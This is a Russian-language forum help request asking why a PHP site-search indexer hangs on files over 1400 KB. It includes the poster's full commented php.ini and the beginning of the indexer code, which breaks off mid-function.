![]() |
Здравствуйте, гость ( Вход | Регистрация )
![]() ![]() |
![]() |
![]() ![]()
Сообщение
#1
|
|
Newbie ![]() Группа: Пользователи Сообщений: 20 Регистрация: 23.10.2007 Пользователь №: 13 ![]() |
У меня есть файл размером 5 мегабайт с IP адресами и никами в формате:
10.152.64.16;maksimus;10.152.196.50;2008-04-10 20:32 Я скачал скрипт поиска и вывода текстовых строк из файла, смысл простой, скрипт его индексирует и создает свой некий файл БД для ускорения поиска. Так вот, пробывал я разные скрипты, и ни один не хочет индексировать этот файл если его размер превышает 1400 килобайт, 1401 уже просто тупо зависает в бесконечном цикле, в ридми к скрипту написано ------------------ Скрипт обрабатывает сайты объемом порядка до 10Mb +-3Mb ( в зависимости от вложенности папок и сложности структуры страниц). Это ограничение связано не с самим скриптом, а со стандартными настройками php-интерпретатора на большинстве серверов. ----------------------------------- Получается что у меня еще хуже ? я так и не понял почему именно 1400 килобайт ??? в php ini уже все перерыл, и память на динамическое выделенение процессу увеличил, и время выполнения - ни чего не помогает ! ________________________________________________________________ Мой файл конфигурации php [PHP] ; Разрешает работу PHP для сервера Apache: engine = On ; Включение режима совместимости с Zend Engine 1 (PHP 4.X) zend.ze1_compatibility_mode = Off ; Разрешает использовать короткие тэги <?. Иначе будут распознаваться ; только тэги <?php и <script>: short_open_tag = On ; Позволяет использовать ASP тэги <% %>: asp_tags = Off ; Число значащих цифр после запятой, которые отображаются для чисел с ; плавающей точкой (float): precision = 14 ; Признак коррекции дат (проблема 2000 года, которая может ; вызвать непонимание со стороны браузеров, которые ; на это не расчитывают): y2k_compliance = On ; Использование буферизации вывода. Позволяет посылать заголовки (включая ; Cookies) после вывода текста. Правда, это происходит ценой ; незначительного замедления вывода. ; Вы можете разрешить буферизацию во время выполнения сценария путем ; вызова функций буферизации, или же включить ее по умолчанию с помощью ; следующей директивы: output_buffering = 4096 ; Директива неявной отсылки говорит PHP о том, что выводимые данные нужно ; автоматически передавать браузеру после вывода каждого блока данных. ; Ее действие эквивалентно вызовам функции flush() после ; каждого использования print() или echo() и после каждого HTML-блока. ; Включение этой директивы серьезно замедляет работу, поэтому ее ; рекомендуется применять лишь в отладочных целях. implicit_flush = Off ; Вы можете перенаправлять весь вывод ваших скриптов функции. ; Например, вы можете установить output_handler в "mb_output_handler", ; кодировки будут соответствующим образом преобразованы в другие кодировки. ; Параметр автоматически включает буфферизацию вывода: ; Внимание: Вы не можете использовать совместно "mb_output_handler"с "ob_iconv_handler" ; и"ob_gzhandler" с "zlib.output_compression". ;output_handler = ; Компрессия вывода осуществляется библиотекой zlib. ; Значения для этой опции могут быть 'off', 'on', или определенным буферным размером, ; который используется для сжатия (значение по умолчанию - 4 КБ) ; Внимание: Результирующий размер размер кусков может изменяться, ; в зависимости от характера сжатия. PHP выводит куски, которые являются немногими сотнями ; байт каждый в результате сжатия. Если Вы предпочитаете больший размер ; куска для лучшей работы, включите дополнительно output_buffering. ; Внимание: Вы должны использовать zlib.output_handler вместо стандартного ; output_handler, или иначе вывод будет разрушен zlib.output_compression = Off ; Вы не можете определить дополнительные обработчики вывода, ; если zlib.output_compression включен здесь. Эта установка делает то же самое, ; что и output_handler, но в различном порядке. ;zlib.output_handler = ; Функция обратного вызова десериализации: unserialize_callback_func= ; параметр определяет точность сериализации чисел с плавающей точкой: serialize_precision = 100 ; Параметр определяет, должен ли PHP использовать возможность всегда ; передавать аргументы функциям по ссылке при выполнении сценария. ; Этот метод устарел, и, скорее всего, он не будет ; поддерживаться в будущих версиях PHP/Zend. ; Описание того, каким способом должен быть передан аргумент — ; по ссылке или по значению — рекомендуется указывать при объявлении ; функции. Лучше всего, если вы попробуете установить параметр в Off ; и проверите, все ли сценарии по-прежнему работают. Если это так, ; то все в порядке, и сценарии будут совместимы и с будущими версиями ; PHP. В противном случае вы будете получать предупреждения каждый раз, ; когда аргументы передаются ненадлежащим образом и по значению там, ; где должны передаваться по ссылке: allow_call_time_pass_reference = On ; Безопасный режим ; ; Включение (on) и выключение безопасного режима (off): safe_mode = Off ; В безопасном режиме может осуществляться сравнение UID при открытии файлов. ; Вы можете либо включить эту опцию (on), либо выключить ее: safe_mode_gid = Off ; Когда режим safe_mode включен, проверки UID/GID могут обходиться, ; когда включаются (include) файлы этого каталога и его подкаталогов. ; каталог должен также быть в include_path, или полный путь должен использоваться, ; когда осуществляется включение (including): safe_mode_include_dir = ; Когда safe_mode включен, только пути, указанные в safe_mode_exec_dir ; будут использоваться семейством функций исполнения: safe_mode_exec_dir = ; Установка некоторых переменных окружения может потенциально породить ; "дыры" в защите сценариев. Следующая директива содержит разделенный ; запятыми список префиксов. В режиме включенного безопасного режима ; пользователь сможет изменять только те переменные окружения, имена ; которых начинаются с перечисленных префиксов. ; По умолчанию пользователь имеет возможность устанавливать только ; переменные окружения, начинающиеся с PHP_ (например, ; PHP_FOO=something). ; Замечание: если эта директива пуста, PHP позволяет пользователям ; модифицировать любые переменные окружения! : safe_mode_allowed_env_vars = PHP_ ; Следующая директива содержит разделенный запятыми список имен ; переменных окружения, которые конечный пользователь не сможет изменять ; путем вызова putenv(). ; Эти переменные будут защищены даже в том случае, если директива ; разрешает их использовать: safe_mode_protected_env_vars = LD_LIBRARY_PATH ; open_basedir, если она установлена, ограничивает все операции файла ; определенной директорией и ниже. Эта директива имеет смысл, ; если используется файл virtualhost конфигурации сервера сети. ; Эта директива работает вне зависимости, установлен режим Safe Mode, или нет: ;open_basedir = ; Эта директива позволяет вам запрещать вызовы некоторых функций ; из соображений безопасности. Список задается в виде имен функций, ; разграниченных запятыми. Директива действует независимо от того, ; установлен ли безопасный режим или нет: disable_functions = ; Эта директива позволяет Вам отключать некоторые классы из соображений безопасности. ; Если вам это необходимо, укажите список с разделителями-запятыми имен классов. ; Директива действует независимо от того, установлен ли безопасный режим или нет: disable_classes = ; Цвета для режима раскраски синтаксиса. Любой цвет, допустимый в тэге ; <font color=???>, допустим и здесь: ;highlight.string = #DD0000 ;highlight.comment = #FF9900 ;highlight.keyword = #007700 ;highlight.bg = #E6F3F9 ;highlight.default = #0000BB ;highlight.html = #000000 ; ; Другие директивы ; ; Следующая директива указывает, должен ли PHP добавлять заголовок ; X-Powered-by в заголовки, посылаемые браузеру, и, таким образом, ; обнаруживать себя. Это никак не может повлиять на безопасность ; сценария, однако позволяет пользователю определить, использовался ; ли PHP для генерации страницы, или нет: expose_php = On ;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Ограничения ресурсов ;; ;;;;;;;;;;;;;;;;;;;;;;;;;; ; Максимальное возможное время выполнения сценария в секундах. Если ; сценарий будет выполняться дольше, PHP принудительно завершит его. max_execution_time = 300 ; Максимальное время, которое каждый сценарий может тратить на ; синтаксический разбор данных запроса: max_input_time = 120 ; Максимальный объем памяти, выделяемый сценарию (по умолчанию = 8MB): memory_limit = 18M ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Обработка ошибок и подключений ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Директива error_reporting должна задаваться в виде битового ; поля. Его значение можно устанавливать с помощью следующих констант, ; объединенных оператором | (OR): ; E_ALL - Все предупреждения и ошибки, кроме E_STRICT ; E_ERROR - Критические ошибки времени выполнения. ; E_WARNING - Предупреждения времени выполнения. ; E_PARSE - Ошибки трансляции. ; E_NOTICE - Замечания времени выполнения (это такие ; предупреждения, которые, скорее всего, ; свидетельствуют о логических ошибках в ; сценарии, — например, использовании ; неинициализированной переменной). ; E_STRICT - Заменчания времени выполения, которые ; позволяют PHP предлагать Вам советы ; относительно написания более функционально- ; совместимого кода и совместимости с ; различными версиями PHP ; E_CORE_ERROR - Критические ошибки в момент старта PHP. ; E_CORE_WARNING - Некритические предупреждения во время старта PHP. ; E_COMPILE_ERROR - Критические ошибки времени трансляции. ; E_COMPILE_WARNING - Предупреждения времени трансляции. ; E_USER_ERROR - Сгенерированные пользователем ошибки. ; E_USER_WARNING - Сгенерированные пользователем предупреждения. ; E_USER_NOTICE - Сгенерированные пользователем замечания. ; Пример: ; показывать все ошибки, за исключением замечаний ; error_reporting = E_ALL & ~E_NOTICE ; показывать только сообщения об ошибках: ; error_reporting=E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR ; отображать все ошибки, предупреждения и замечания: error_reporting = E_ALL ; Печать ошибок и предупреждений прямо в браузер. ; Для готовых сайтов рекомендуется отключать следующую директиву и ; использовать вместо нее журнализацию (см. ниже). Включенная директива ; display_errors в "рабочих" сайтах может открыть доступ пользователю к ; секретной информации: например, полному пути к документу, используемой ; базе данных и.т.д.: display_errors = Off ; Даже если display_errors включена, ошибки, возникающие во время старта ; PHP, не отображаются. Рекомендуется устанавливать следующую директиву ; в выключенное состояние, за исключением случая, когда вы применяете ; ее при отладке: display_startup_errors = On ; Сохранять ли сообщения об ошибках в файле журнала. Журнал может ; определяться настройками сервера, быть связанным с потоком stderr ; или же задаваться директивой error_log, описанной ниже. Как уже было ; сказано, в коммерческих проектах желательно использовать именно ; журнализацию, а не отображать ошибки в браузер: log_errors=Off ; Сохранять ли последнее сообщение об ошибке или предупреждение в ; переменной $php_errormsg: track_errors = On ; Максимальная длина log_errors. Информация об исходном коде error_log будет добавлена ; По умолчанию 1024 и 0 позволяет не применять любую максимальную длину вообще. log_errors_max_len = 1024 ; Не протоколировать повторяющиеся сообщения об ошибках: ignore_repeated_errors = Off ; Игнорировать исходный код, когда игнорируется протоколирование повторных ошибок (см. выше): ignore_repeated_source = Off ; Если этот параметр установлен в 'off', то утечки памяти не будут показаны ; (на stdout или в файле регистрации). Это имеет эффект только на этапе отладки, компиляции, ; и если параметр уровня E_WARNING включен (см. выше): report_memleaks = On ; Включение HTML-тегов в сообщения об ошибках: html_errors = On ; Если html_errors установлен в 'On', то PHP, выводит clickable-сообщения об ошибках, ; которые направляют пользователя к веб-странице, подробно описывающей ошибку или функцию, ; которая вызвала ошибку. ; Вы можете загрузить копию руководства PHP с http://www.php.su/download/ и изменить ; docref_root на основной URL вашей местной копии, включая '/'. ; Вы должны также определить используемое расширение файла, включая точку: docref_root = "http://www.php.su/functions/?" ;docref_ext = .html ; Строка, которая будет отображена до сообщения об ошибке: ;error_prepend_string = "<font color=ff0000>" ; Строка, которая будет отображена после сообщения об ошибке: ;error_append_string = "</font>" ; Протоколирование ошибок в указанный файл: ;error_log = filename ; Протоколирование ошибок в системный лог (Протокол событий NT): ;error_log = syslog ;;;;;;;;;;;;;;;;;;;;; ; Обработка данных ;; ;;;;;;;;;;;;;;;;;;;;; ; Разделитель, который используется в PHP для разделения аргументов. ; По умолчанию '&': ;arg_separator.output = "&" ; Список разделителей, используемый PHP для разбора URL внутри переменных ; По умолчанию '&': ; Внимание: Каждый символ в этой директиве рассматривается как разделитель! ;arg_separator.input = ";&" ; Замечание: track_vars всегда включена, начиная с PHP 4.0.3. ; Следующая директива определяет, в каком порядке PHP будет ; регистрировать данные, полученные методами GET, POST, а также ; переменные окружения и встроенные переменные (соответственно, значение ; задается буквами G, P, C, E и S, например, EGPCS или GPC). Регистрация ; производится на основе чтения этой строки слева направо, новые значения ; переопределяют старые: variables_order = "EGPCS" ; Должен ли PHP регистрировать EGPCS-переменные как глобальные ; переменные. Возможно, вы захотите отключить эту возможность, если не ; хотите "засорять" глобальную область видимости сценария. Это имеет ; смысл, если вы используете директиву track_vars — в этом случае вы ; можете получить доступ к GPC-данным через массив $HTTP_???_VARS. ; Желательно так писать сценарии, чтобы они по возможности ; старались обходиться без директивы register_globals. Использование ; данных, поступивших из формы, как глобальных переменных, потенциально ; может породить проблемы в защите сценария, если программист не особенно ; позаботится об их устранении: register_globals = On ; Следующая директива указывает PHP, обязан ли он создавать переменные ; $argv и $argc на основе информации, поступившей методом GET. Если вы не ; используете эти переменные, отключите директиву register_argc_argv для ; небольшого убыстрения работы PHP: register_argc_argv = Off ; Максимальный размер данных POST, который PHP сможет принять: post_max_size = 25M ; Следующая директива устарела — используйте variables_order. gpc_order = "GPC" ; Автоматическая обработка кавычек и апострофов: ; использовать ли автокавычки для входящих GET/POST/Cookie данных: magic_quotes_gpc = Off ; Заключать ли данные в автокавычки во время выполнения, например, ; для данных из SQL, exec() и.т.д.: magic_quotes_runtime = Off ; Нужно ли PHP оформлять автокавычки в стиле Sybase-style (заменять ' ; на '', а не на \'): magic_quotes_sybase = Off ; Следующие директивы указывают PHP, содержимое каких файлов он должен ; обрабатывать до и после вывода сценария: auto_prepend_file = auto_append_file = ; Начиная с версии 4.0b4, PHP всегда сообщает браузеру об используемой ; кодировке в заголовке Content-type. Для того чтобы запретить это, ; просто установите следующую директиву пустой. По умолчанию ; используется text/html без указания кодировки: default_mimetype = "text/html" ;default_charset = "iso-8859-1" ; Всегда заполнять переменную $HTTP_RAW_POST_DATA: ;always_populate_raw_post_data = On ;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; Пути и директории ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;; ; UNIX: "/path1:/path2" ;include_path = ".:/php/includes" ; Windows: "\path1;\path2" ;include_path = ".;c:\php\includes" include_path = ".;/usr/local/PHP/PEAR;/usr/local/PHP/PEAR/smarty" ; Корневой каталог для PHP-сценариев. ; Игнорируется, если значение равно пустому "": doc_root = ; Каталог, который PHP использует при открытии сценария вида ; /~username. Не оказывает действия, если значение равно "": user_dir = ; Каталог, в котором хранятся динамически загружаемые расширения PHP (PECL): extension_dir = "/usr/local/PHP/PECL" ; Следующая директива разрешает или запрещает использование функции dl(). ; Функция dl() работает неправильно в многопоточных Web-серверах, ; например, в IIS или Zeus, и автоматически отключается для них: enable_dl = On ; Некотрые опции PHP, работающего как CGI (они не влияют на работу Apache + PHP SAPI): cgi.force_redirect = 0 ;;;;;;;;;;;;;;;;;;;; ;; Закачка файлов ;; ;;;;;;;;;;;;;;;;;;;; ; Разрешает PHP обрабатывать закачку файлов: file_uploads = On ; Каталог для временных файлов, в который PHP помещает закачанные ; файлы (используется системный временный каталог, если в директиве ; указана пустая строка): upload_tmp_dir = ; Максимальный размер закачанного файла: upload_max_filesize = 100M ;;;;;;;;;;;;;;;;;;;;;; ;; Оформления Fopen ;; ;;;;;;;;;;;;;;;;;;;;;; ; Позволять ли обработку URL функцией fopen (таких, как http:// и ftp://) как файлов: allow_url_fopen = On ; Устанавливает анонимный пароль для ftp (ваш email адрес): ;from = "localhost@localhost" ; Устанавливает строку User-Agent: user_agent = "TopServer PHP" ; Устанавливает таймаут для сокетов, базирующихся на потоках (в секундах): default_socket_timeout = 10 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Динамически загружаемые расширения ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Если вы хотите, чтобы какие-то модули загружались автоматически, ; задавайте директиву extension в формате: ; extension=modulename.extension ; Например, для Windows: ; extension=msql.dll ; или для UNIX: ; extension=msql.so ; Должно быть указано только имя, без пути. Чтобы задать ; каталог, в котором расположены расширения, используйте директиву ; extension_dir, описанную выше. ; Модули для Windows extension=php_bz2.dll ;extension=php_cpdf.dll ;extension=php_crack.dll ;extension=php_curl.dll ;extension=php_db.dll ;extension=php_dba.dll ;extension=php_dbase.dll ;extension=php_dbx.dll ;extension=php_domxml.dll ;extension=php_exif.dll ;extension=php_fdf.dll ;extension=php_filepro.dll extension=php_gd2.dll extension=php_gmp.dll ;extension=php_gettext.dll ;extension=php_hyperwave.dll ;extension=php_iconv.dll ;extension=php_ifx.dll ;extension=php_iisfunc.dll ;extension=php_imap.dll ;extension=php_interbase.dll ;extension=php_java.dll ;extension=php_ldap.dll ;extension=php_mbstring.dll ;extension=php_mcrypt.dll ;extension=php_mhash.dll ;extension=php_mime_magic.dll ;extension=php_ming.dll ;extension=php_mssql.dll ;extension=php_msql.dll extension=php_mysql.dll extension=php_mysqli.dll ;extension=php_oci8.dll ;extension=php_openssl.dll ;extension=php_oracle.dll ;extension=php_pdf.dll extension=php_pdo.dll ;extension=php_pgsql.dll ;extension=php_printer.dll ;extension=php_shmop.dll ;extension=php_snmp.dll extension=php_sockets.dll extension=php_sqlite.dll ;extension=php_sybase_ct.dll ;extension=php_tidy.dll ;extension=php_w32api.dll ;extension=php_xmlrpc.dll extension=php_xsl.dll ;extension=php_xmlrpc.dll ;extension=php_yaz.dll ;extension=php_zip.dll ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; Установки для модулей ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; [Syslog] ; Нужно или нет определять различные переменные Syslog, такие как ; $LOG_PID, $LOG_CRON и т. д. Для ускорения работы рекомендуется ; выключать следующую директиву. Во время выполнения сценария вы ; можете включить или выключить директиву путем вызова ; функции define_syslog_variables(). define_syslog_variables = Off [mail function] ; Только для Win32 - используемый SMTP-сервер. ; Укажите здесь SMTP-сервер своего провайдера. ;SMTP = localhost ;smtp_port = 25 ;sendmail_from = topserver@localhost ; Только для Win32 — поле From: по умолчанию: ; Только для UNIX — задает путь и аргументы программы sendmail (по ; умолчанию — 'sendmail -t -i'). sendmail_path = \usr\local\sendmail\sendmail -t -i ; ВНИМАНИЕ: если Вы хотите все же использовать SMTP-сервер, ; раскомментируйте директиву SMTP (см. выше), а эту - уберите. ; Если ее не убрать, все равно будет вызываться sendmail. ;sendmail_from = me@me.com [Java] ;java.class.path = .\php_java.jar ;java.home = c:\jdk ;java.library = c:\jdk\jre\bin\hotspot\jvm.dll ;java.library.path = .\ [SQL] sql.safe_mode = Off [ODBC] ;odbc.default_db = Not implemented ;odbc.default_user = Not implemented ;odbc.default_pw = Not implemented ; Позволить, или нет устойчивые соединения: odbc.allow_persistent = On ; Проверяет, действительно ли еще соединение, или нет при повтовном подключении: odbc.check_persistent = On ; Максимальное колличество устойчивых соединений (-1 = без ограничений): odbc.max_persistent = -1 ; Максимальное колличество соединений (устойчивых + неустойчивых), (-1 = без ограничений): odbc.max_links = -1 ; Обработка полей LONG. Возвращает число байт в переменную. (0 подразумевает passthru): odbc.defaultlrl = 4096 ; Обработка двоичных данных. 0 подразумевает passthru, 1 возвращает как есть, 2 конвертирует в символ: odbc.defaultbinmode = 1 [MySQL] ; Позволить, или нет устойчивые соединения: mysql.allow_persistent = On ; Максимальное колличество устойчивых соединений (-1 = без ограничений): mysql.max_persistent = -1 ; Максимальное колличество соединений (устойчивых + неустойчивых), (-1 = без ограничений): mysql.max_links = -1 ; Номер порта по умолчанию для mysql_connect(). Если не установлена, ; mysql_connect() будет использовать $MYSQL_TCP_PORT или mysql-tcp вхождения ; /etc/services или ; определенное во время компиляции значение MYSQL_PORT (в таком порядке). ; Win32 использует для этой цели только MYSQL_PORT: mysql.default_port = ; Определяет имя сокета для локальных соединений MySQL. Если он не задан, ; использует встроенное значение по умолчанию: mysql.default_socket = ; Хост по умолчанию для mysql_connect() (не работает в безопасном режиме): mysql.default_host = ; Пользователь по умолчанию для mysql_connect() (не работает в безопасном режиме): mysql.default_user = ; Пароль по умолчанию (не работает в безопасном режиме). ; Замечание: идея хранить пароль в этом файле просто отвратительна. Любой ; пользователь, который может запускать PHP, сможет узнать пароль путем ; выполнения: ; echo cfg_get_var("mysql.default_password") ; Конечно, узнать пароль сможет также и пользователь, который имеет права ; на чтение для файла php.ini: mysql.default_password = ; Максимальное время (в секундах) для таймаута соединений с MySQL (-1 means = без ограничений): mysql.connect_timeout = 60 ; Режим трассировки. Когда trace_mode активен (=On), ;предупреждения для просмотров table/index и SQL-Erros будут отображены: mysql.trace_mode = Off [mSQL] msql.allow_persistent = On msql.max_persistent = -1 msql.max_links = -1 [PostgresSQL] pgsql.allow_persistent = On ; Определять прерванные устойчивые соединения всегда с pg_pconnect(): pgsql.auto_reset_persistent = Off pgsql.max_persistent = -1 pgsql.max_links = -1 ; Игнорировать бэкендовые сообщения PostgreSQL: pgsql.ignore_notice = 0 ; Протоколирование бэкендовых сообщений PostgreSQL: ; Пока pgsql.ignore_notice=0, модуль не может регистрировать сообщения: pgsql.log_notice = 0 [Sybase] sybase.allow_persistent = On sybase.max_persistent = -1 sybase.max_links = -1 ;sybase.interface_file = "/usr/sybase/interfaces" ; Минимальная серьезность ошибки, чтобы ее отобразить: sybase.min_error_severity = 10 ; Минимальная серьезность сообщения, чтобы его отобразить: sybase.min_message_severity = 10 ; Режим совместимости со старыми версиями PHP 3.0. ; Если следующая директива установлена в On, PHP будет автоматически ; присваивать тип результату на основе его типа в Sybase, вместо того, ; чтобы преобразовывать полученные значения в строки. Этот режим ; совместимости, возможно, в будущем не будет поддерживаться, так что ; лучше исправьте свои сценарии, если вам он нужен: sybase.compatability_mode = Off [Sybase-CT] sybct.allow_persistent = On sybct.max_persistent = -1 sybct.max_links = -1 ; Минимальная серьезность ошибки сервера, чтобы ее отобразить: sybct.min_server_severity = 10 ; Минимальная серьезность ошибки клиента, чтобы ее отобразить: sybct.min_client_severity = 10 [dbx] dbx.colnames_case = "unchanged" [bcmath] ; Число десятичных цифр для всех bcmath-функций: bcmath.scale = 0 [browscap] browscap = /usr/local/PHP/php_browscap.ini [Informix] ; Хост по умолчанию для ifx_connect() (недоступен в режиме safe mode): ifx.default_host = ; Пользователь по умолчанию для ifx_connect() (недоступен в режиме safe mode): ifx.default_user = ; Пароль по умолчанию для ifx_connect() (недоступен в режиме safe mode): ifx.default_password = ifx.allow_persistent = On ifx.max_persistent = -1 ifx.max_links = -1 ; Если следующая директива установлена в On, выражение select возвращает ; содержимое поля типа text blob вместо его идентификатора: ifx.textasvarchar = 0 ; Заставляет команду select возвращать значение поля типа byte blob ; вместо его идентификатора: ifx.byteasvarchar = 0 ; Принуждает PHP удалять завершающие пробелы из колонок с типом char ; фиксированного размера. Может помочь пользователям Informix SE: ifx.charasvarchar = 0 ; Если установлена, содержимое полей text и byte сохраняется в файле, ; вместо того, чтобы храниться в памяти: ifx.blobinfile = 0 ; Если установлена в 0, значения NULL возвращаются как пустые строки, ; иначе они возвращаются как строки 'NULL': ifx.nullformat = 0 [Session] ; Определяет режим хранения данных сессий: session.save_handler = files ; Следующая директива задает аргумент, передаваемый save_handler-у. ; В случае режима сохранения в файлах здесь должен указываться каталог, ; в который будут помещены файлы сессий: session.save_path = /usr/local/PHP/sessions ; Должен ли PHP использовать Cookies в сессиях: session.use_cookies = 1 ; This option enables administrators to make their users invulnerable to ; attacks which involve passing session ids in URLs; defaults to 0. ; session.use_only_cookies = 1 ; Имя сессии (используется как имя cookie): session.name = PHPSESSID ; Инициализировать ли сессии при старте: session.auto_start = 0 ; Lifetime in seconds of cookie or, if 0, until browser is restarted. session.cookie_lifetime = 0 ; Путь для Cookie с идентификатором сессии: session.cookie_path = / ; Домен для Cookie с идентификатором сессии: session.cookie_domain = ; Функция, используемая для сериализации данных. Значение php задает ; стандартную функцию: session.serialize_handler = php ; Вероятность того, что при очередном запуске сценария, работающего с ; сессиями, будет вызвана функция "сборки мусора" для очистки сессий, ; которые пользователь уже покинул: session.gc_probability = 1 session.gc_divisor = 100 ; После указанного здесь промежутка времени сохраненные ; данные будут удалены автоматически сборщиком мусора: session.gc_maxlifetime = 1440 ; Проверять-ли HTTP Referer на предмет того, не является ли ID сессии ; "фальшивыми": session.referer_check = ; Указывает, сколько байт читать из файла: session.entropy_length = 0 ; Файл, используемый для генерации идентификаторов сессии: session.entropy_file = ;session.entropy_length = 16 ;session.entropy_file = /dev/urandom ; Установите одно из значений nocache, private, public для определения ; аспектов кэширования HTTP: session.cache_limiter = nocache ; Документ будет считаться устаревшим по истечении заданного ; здесь количества минут: session.cache_expire = 180 ; Использовать ли поддержку "переходящих" SID. Действует, если PHP был ; скомпилирован с включенной опцией --enable-trans-sid: session.use_trans_sid = 0 url_rewriter.tags = "a=href,area=href,frame=src,input=src,form=,fieldset=" [MSSQL] mssql.allow_persistent = On mssql.max_persistent = -1 mssql.max_links = -1 mssql.min_error_severity = 10 mssql.min_message_severity = 10 ; Режим совместимости со старыми версиями PHP 3.0: mssql.compatability_mode = Off ; Таймаут соединения: ;mssql.connect_timeout = 5 ; Таймаут запроса: ;mssql.timeout = 60 ; Действительный диапазон 0 - 2147483647. По умолчанию = 4096: ;mssql.textlimit = 4096 ; Действительный диапазон 0 - 2147483647. По умолчанию = 4096: ;mssql.textsize = 4096 ; Ограничивает число записей в каждом пакете. 0 = все записи в одном пакете: ;mssql.batchsize = 0 ; Определяет, как datetime и datetim4 столбцы возвращены ; On => Возвращаемые данные преобразованы в параметры настройки сервера SQL ; Off => Возвращает значения как YYYY-MM-DD hh:mm:ss ;mssql.datetimeconvert = On ; Использовать NT-аутентификацию для соединения с сервером: mssql.secure_connection = Off ; Максимальное число процессов. По умолчанию = 25 ;mssql.max_procs = 25 [Assertion] ; Assert(expr); По умолчанию активен ;assert.active = On ; Генерирует предупреждения PHP для каждых неудавшихся проверок ; выражений: ;assert.warning = On ; По умолчанию не завершать программу в случае неудачи: ;assert.bail = Off ; Пользовательская функция, которая будет вызвана при неудаче проверки: ;assert.callback = 0 ; Вычислять выражения в eval с использованием текущих установок ; error_reporting. Установите в true, если вы хотите, чтобы действие ; режима error_reporting(0) было сохранено и при переходе через ; границу eval(): ;assert.quiet_eval = 0 [Ingres II] ingres.allow_persistent = On ingres.max_persistent = -1 ingres.max_links = -1 ; База данных по умолчанию (формат: [node_id::]dbname[/srv_class]). ingres.default_database = ; Пользователь по умолчанию: ingres.default_user = ; Пароль по умолчанию: ingres.default_password = [Verisign Payflow Pro] ; Сервер Payflow Pro по умолчанию: pfpro.defaulthost = "test-payflow.verisign.com" ; Порт по умолчанию для соединений: pfpro.defaultport = 443 ; Таймаут по умолчанию для соединений: pfpro.defaulttimeout = 120 ; IP-адрес proxy-сервера по умолчанию (если требуется): ;pfpro.proxyaddress = ; Порт proxy-сервера по умолчанию: ;pfpro.proxyport = ; Логин proxy-сервера по умолчанию: ;pfpro.proxylogon = ; Пароль proxy-сервера по умолчанию: ;pfpro.proxypassword = [Sockets] ; Использовать функцию system read() вместо php_read(): sockets.use_system_read = On [com] ; Путь к файлу, содержащему GUIDs, IIDs и имена файлов с TypeLibs: ;com.typelib_file = ; Разрешает вызовы Distributed-COM: ;com.allow_dcom = true ; константы авторегистра компонентов typlib в com_load(): ;com.autoregister_typelib = true ; константы регистра с учетом регистра: ;com.autoregister_casesensitive = false ; предупреждения показа на дубликате constat registrations: ;com.autoregister_verbose = true [Printer] ;printer.default_printer = "" [mbstring] ; язык для внутреннего символьного представления: ;mbstring.language = Japanese ; Кодировка скрипта/внутренняя: ; Некоторые кодировки не могут работать как внутренние кодировки: ; (такие как SJIS, BIG5, ISO-2022-*): ;mbstring.internal_encoding = EUC-JP ; Кодировка INPUT http: ;mbstring.http_input = auto ; Кодировка OUTPUT http. mb_output_handler должен быть ; зарегистрированный как буфер вывода, чтобы функционировать: ;mbstring.http_output = SJIS ; Включить автоматическое преобразование кодировок ; mbstring.internal_encoding setting. Входные символы ; конвертируются во внутреннюю кодировку установкой этого параметра в 'On': ;mbstring.encoding_translation = Off ; автоматическое обнаружение кодировок: ;mbstring.detect_order = auto ; substitute_character используется, когда символ не может быть ; конвертирован один из другого ;mbstring.substitute_character = none; ; перегрузка (замена) отдельных функции байта функциями mbstring. ; mail(), ereg(), и.т.д. перегружаются mb_send_mail(), mb_ereg(), ; и.т.д. Возможные значения 0,1,2,4 или их комбинация. ; Например: ; 0: Нет перегрузки ; 1: Перегружается функция mail(); ; 2: Перегружается функция str*(); ; 4: Перегружается функция ereg*(); ;mbstring.func_overload = 0 [FrontBase] ;fbsql.allow_persistent = On ;fbsql.autocommit = On ;fbsql.default_database = ;fbsql.default_database_password = ;fbsql.default_host = ;fbsql.default_password = ;fbsql.default_user = "_SYSTEM" ;fbsql.generate_warnings = Off ;fbsql.max_connections = 128 ;fbsql.max_links = 128 ;fbsql.max_persistent = -1 ;fbsql.max_results = 128 ;fbsql.batchSize = 1000 [Crack] ; Измените установку ниже, чтобы согласовать местоположение файлов словаря cracklib ; Включите основное имя, но не расширение файла. ; crack.default_dictionary = "\usr\local\PHP\lib\cracklib_dict" [exif] ;exif.encode_unicode = ISO-8859-15 ;exif.decode_unicode_motorola = UCS-2BE ;exif.decode_unicode_intel = UCS-2LE ;exif.encode_jis = ;exif.decode_jis_motorola = JIS ;exif.decode_jis_intel = JIS [Zend] ;TopServer 2.0 ZEND OPTIMIZER CONFIG zend_extension_ts = /usr/local/PHP/ZendOptimizer.dll zend_optimizer.enable_loader = 0 zend_optimizer.optimization_level = 15 ; Local Variables: ; tab-width: 4 ; End: ________________________________ Код индексации ############################--- indexer.php ---############################ Код error_reporting(0); chdir('..'); require ('phprusearch/sinc/func_list.php'); $microtime = microtime(); $microsecs = substr($microtime, 2, 8); $secs = substr($microtime, 11); $start_time = "$secs.$microsecs"; $input = $sizetotal = ''; $CONFIG = file('phprusearch/sinc/sconfig.php'); $STOP_DIR = split(",",$CONFIG[4]); $STOP_FILE = split(",",$CONFIG[5]); $HOME_DIR = getcwd(); $SFX = array ('.exe','.zip','.rar','.doc','.xls','.swf','.gif','.jpg','.png','.bmp','.ico','.css','.js','.htaccess', '.psd','.mp3','.avi','.mpeg','.mid','.cgi','.pl','.dll','.fon','.ttf','.msi','.msp'); $STOP_FILE = array_unique(array_merge($STOP_FILE, $SFX)); PHPruDirs(); PHPruSave($input,'phprusearch/sdata/search.php'); echo '<CENTER><BR><BR><P>Индексный файл обновлен.<BR><BR>Система поиска для работы готова.<BR><BR>Всего обработано '.$sizetotal.'Kb за '; $microtime = microtime(); $microsecs = substr($microtime, 2, 8); $secs = substr($microtime, 11); $end_time = "$secs.$microsecs"; $total = round(($end_time - $start_time),2); echo $total.' сек. <BR><BR>'; ?> ################## -- func_list.php -- ####################### Код <? function PHPruDirs() { global 